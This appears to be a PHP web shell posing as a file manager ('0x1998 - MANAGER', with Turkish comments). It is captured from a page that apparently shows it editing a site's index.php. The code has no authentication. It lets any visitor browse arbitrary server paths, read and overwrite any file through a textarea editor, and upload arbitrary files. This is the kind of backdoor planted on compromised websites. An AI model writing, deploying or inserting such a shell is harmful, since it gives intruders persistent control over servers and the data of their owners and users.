0x1998 - MANAGER
Düzenlenen Dosya: index.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="dam-owner" content="DAM-BEC5-b5946eb3"> <title>0x1998 - MANAGER</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f0f0; } #container { max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background-color: #f9f9f9; box-shadow: 0 0 10px rgba(0,0,0,0.1); } h1 { text-align: center; color: #333; } h2 { margin-top: 30px; color: #555; word-wrap: break-word; } ul { list-style-type: none; padding: 0; } li { margin-bottom: 10px; padding: 5px; border-bottom: 1px solid #eee; } a { text-decoration: none; color: #007bff; } a:hover { text-decoration: underline; } form { margin-top: 20px; background: #eee; padding: 15px; border-radius: 5px; } input[type="text"], input[type="file"], input[type="submit"] { margin-bottom: 10px; display: block; } textarea { width: 100%; font-family: monospace; padding: 10px; box-sizing: border-box; } hr { border: 0; height: 1px; background-color: #ccc; margin: 20px 0; } </style> </head> <body> <div id="container"> <h1>0x1998 - MANAGER</h1> <?php // Fonksiyon: Girdileri temizle function clean_input($input) { return htmlspecialchars(strip_tags($input)); } // Fonksiyon: Dizin navigasyonu (Breadcrumbs) function navigate_directory($path) { $path = str_replace('\\','/', $path); $paths = explode('/', $path); $breadcrumbs = []; $current_build = ""; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $breadcrumbs[] = '<a href="?path=/">/</a>'; continue; } if ($pat == '') continue; $current_build .= "/" . $pat; $breadcrumbs[] = '<a href="?path=' . urlencode($current_build) . '">'.$pat.'</a>/'; } return implode('', $breadcrumbs); } // Fonksiyon: Dizin içeriğini listele function display_directory_contents($path) { if (!is_dir($path)) { echo "Geçersiz dizin."; return; } $contents = scandir($path); $folders = []; $files = []; foreach ($contents as $item) { if ($item == '.' || $item == '..') continue; $full_path = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($full_path)) { $folders[] = '<li><strong>[Klasör]</strong> <a href="?path=' . urlencode($full_path) . '">' . $item . '</a></li>'; } else { $file_size = filesize($full_path); $size_unit = ['B', 'KB', 'MB', 'GB', 'TB']; $i = $file_size ? floor(log($file_size, 1024)) : 0; $file_size_formatted = round($file_size / pow(1024, $i), 2) . ' ' . $size_unit[$i]; $files[] = '<li><strong>[Dosya]</strong> <a href="?action=edit&file=' . urlencode($item) . '&path=' . urlencode($path) . '">' . $item . '</a> (' . $file_size_formatted . ')</li>'; } } echo '<ul>'; echo implode('', $folders); if (!empty($folders) && !empty($files)) echo '<hr>'; echo implode('', $files); echo '</ul>'; } // Fonksiyon: Klasör oluştur function create_folder($path, $folder_name) { $folder_name = clean_input($folder_name); $new_folder_path = $path . DIRECTORY_SEPARATOR . $folder_name; if (!file_exists($new_folder_path)) { if (mkdir($new_folder_path)) { echo "<p style='color:green;'>Klasör '$folder_name' başarıyla oluşturuldu!</p>"; } else { echo "<p style='color:red;'>Klasör oluşturulamadı. İzinleri kontrol edin.</p>"; } } else { echo "<p style='color:orange;'>Klasör zaten mevcut!</p>"; } } // Fonksiyon: Dosya yükle function upload_file($path, $file_to_upload) { $target_file = $path . DIRECTORY_SEPARATOR . basename($file_to_upload['name']); if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) { echo "<p style='color:green;'>Dosya başarıyla yüklendi: ". htmlspecialchars(basename($file_to_upload['name'])). "</p>"; } else { echo "<p style='color:red;'>Yükleme sırasında hata oluştu.</p>"; } } // Fonksiyon: Dosya düzenle function edit_file($file_path) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content'])) { $content = $_POST['file_content']; if (file_put_contents($file_path, $content) !== false) { echo "<p style='color:green;'>Dosya kaydedildi.</p>"; } else { echo "<p style='color:red;'>Kaydetme hatası!</p>"; } } $content = file_exists($file_path) ? file_get_contents($file_path) : ""; echo '<form method="post">'; echo '<textarea name="file_content" rows="15">' . htmlspecialchars($content) . '</textarea><br>'; echo '<input type="submit" value="Değişiklikleri Kaydet">'; echo '<a href="?path='.urlencode(dirname($file_path)).'"> geri dön</a>'; echo '</form>'; } // --- ANA AKIŞ --- $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = realpath($path); // Güvenlik ve yol düzeltme // Klasör oluşturma tetikleyici if(isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { create_folder($path, $_POST['folder_name']); } // Dosya yükleme tetikleyici if(isset($_POST['upload_file']) && isset($_FILES['file_to_upload'])) { upload_file($path, $_FILES['file_to_upload']); } // Sayfa içeriği if (isset($_GET['action']) && $_GET['action'] == 'edit') { $file = $_GET['file']; $file_path = $path . DIRECTORY_SEPARATOR . $file; echo '<h2>Düzenlenen Dosya: ' . htmlspecialchars($file) . '</h2>'; edit_file($file_path); } else { echo "<h2>Mevcut Dizin: " . htmlspecialchars($path) . "</h2>"; echo "<p>Navigasyon: " . navigate_directory($path) . "</p>"; echo "<h3>İçerik:</h3>"; display_directory_contents($path); echo '<hr>'; echo '<h3>Yeni Klasör:</h3>'; echo '<form action="" method="post"> <input type="text" name="folder_name" placeholder="Klasör adı..."> <input type="submit" name="create_folder" value="Oluştur"> </form>'; echo '<h3>Dosya Yükle:</h3>'; echo '<form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file_to_upload"> <input type="submit" name="upload_file" value="Yükle"> </form>'; } ?> </div> </body> </html>
geri dön